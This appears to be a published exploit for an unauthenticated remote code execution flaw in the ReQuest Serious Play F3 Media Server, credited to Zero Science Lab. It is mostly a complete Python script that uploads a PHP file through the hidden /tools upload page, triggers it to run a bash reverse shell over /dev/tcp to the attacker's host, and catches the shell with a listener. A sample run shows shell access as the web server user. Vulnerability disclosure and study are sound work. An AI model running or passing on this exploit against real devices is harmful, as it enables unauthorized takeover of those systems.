ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution

ReQuest Serious Play F3 Media Server version 7.0.3 suffers from an unauthenticated remote code execution vulnerability. Abusing the hidden ReQuest Internal Utilities page (/tools) from the services provided, an attacker can exploit the Quick File Uploader (/tools/upload.html) page and upload PHP executable files that results in remote code execution as the web server user.


MD5 | 27df19dca8c37dc3db671041baa681bf

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution
#
#
# Vendor: ReQuest Serious Play LLC
# Product web page: http://www.request.com
# Affected version: 7.0.3.4968 (Pro)
# 7.0.2.4954
# 6.5.2.4954
# 6.4.2.4681
# 6.3.2.4203
# 2.0.1.823
#
# Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
# into a compact powerhouse. With the ability to add unlimited NAS devices, the
# F3 can handle your entire family's media collection with ease.
#
# Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote
# code execution vulnerability. Abusing the hidden ReQuest Internal Utilities
# page (/tools) from the services provided, an attacker can exploit the Quick
# File Uploader (/tools/upload.html) page and upload PHP executable files that
# results in remote code execution as the web server user.
#
# =============================================================================
# [email protected]:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161
# Let's see waddup...
# Good to go.
# Starting handler on port 6161.
# Writing callback file...
# We got the dir: /75302IV29ZS1
# Checking write status...
# All is well John Spartan. Calling your listener...
# Connection from 192.168.0.17:42057
# You got shell.
# id;uname -ro
# uid=81(apache) gid=81(apache) groups=81(apache),666(arq)
# 3.2.0-4-686-pae GNU/Linux
# exit
# *** Connection closed by remote host ***
# [email protected]:~/prive$
# =============================================================================
#
# Tested on: ReQuest Serious Play® OS v7.0.1
# ReQuest Serious Play® OS v6.0.0
# Debian GNU/Linux 5.0
# Linux 3.2.0-4-686-pae
# Linux 2.6.36-request+lenny.5
# Apache/2.2.22
# Apache/2.2.9
# PHP/5.4.45
# PHP/5.2.6-1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2020-5602
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php
#
#
# 01.08.2020
#

from time import sleep
import threading######
import telnetlib######
import requests#######
import socket#########
import sys############
import re#############

class Manhattan:

def __init__(self):
self.secretagent = "Mushu"
self.payload = None
self.deploy = None
self.rhost = None
self.lhost = None
self.lport = None

def the_args(self):
if len(sys.argv) != 4:
self.the_usage()
else:
self.rhost = sys.argv[1]
self.lhost = sys.argv[2]
self.lport = int(sys.argv[3])
if not "http" in self.rhost:
self.rhost = "http://{}".format(self.rhost)

def the_usage(self):
self.the_wha()
print("Usage: python3 {} [targetIP:targetPORT] [localIP] [localPORT]".format(sys.argv[0]))
print("Example: python3 {} 192.168.0.91:3664 192.168.0.22 6161\n".format(sys.argv[0]))
exit(0)

def the_wha(self):
titl = "ReQuest Serious Play F3 Media Server RCE"
print(titl)

def the_check(self):
print("Let's see waddup...")
try:
r = requests.get(self.rhost + "/MP3/")
if "000000000000" in r.text:
print("Good to go.")
else:
print("Something's fishy.")
exit(-16)
except Exception as e:
print("Hmmm {msg}".format(msg=e))
exit(-1)

def the_upload(self):
print("Writing callback file...")
self.headers = {"Cache-Control" : "max-age=0",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP",
"User-Agent": self.secretagent,
"Accept" : "*/*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"}

self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + " <&1;rm bd0.php'\");"

self.deploy = "------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"########
self.deploy += "Content-Disposition: form-data; name=\"uploa" #
self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T" #
self.deploy += "ype: application/octet-stream\r\n\r\n" + self.payload
self.deploy += "\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte"
self.deploy += "nt-Disposition: form-data; name=\"location\"\r\n\r\nm"
self.deploy += "p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n"

requests.post(self.rhost+"/shared/upload.php", headers=self.headers, data=self.deploy)
sleep(1)
r = requests.get(self.rhost + "/MP3/")
regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2]
print("We got the dir: /" + regex)
print("Checking write status...")
r = requests.get(self.rhost + "/MP3/" + regex)
if "bd0" in r.text:
print("All is well John Spartan. Calling your listener...")
else:
print("Something...isn't right.")
exit(-16)
requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php")

def the_subp(self):
konac = threading.Thread(name="ZSL", target=self.the_ear)
konac.start()
sleep(1)
self.the_upload()

def the_ear(self):
telnetus = telnetlib.Telnet()
print("Starting handler on port {}.".format(self.lport))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
while True:
try:
s.settimeout(7)
s.listen(1)
conn, addr = s.accept()
print("Connection from {}:{}".format(addr[0], addr[1]))
telnetus.sock = conn
except socket.timeout as p:
print("Hmmm ({msg})".format(msg=p))
s.close()
exit(0)
break

print("You got shell.")
telnetus.interact()
conn.close()

def main(self):
self.the_args()
self.the_check()
self.the_subp()

if __name__ == '__main__':
Manhattan().main()

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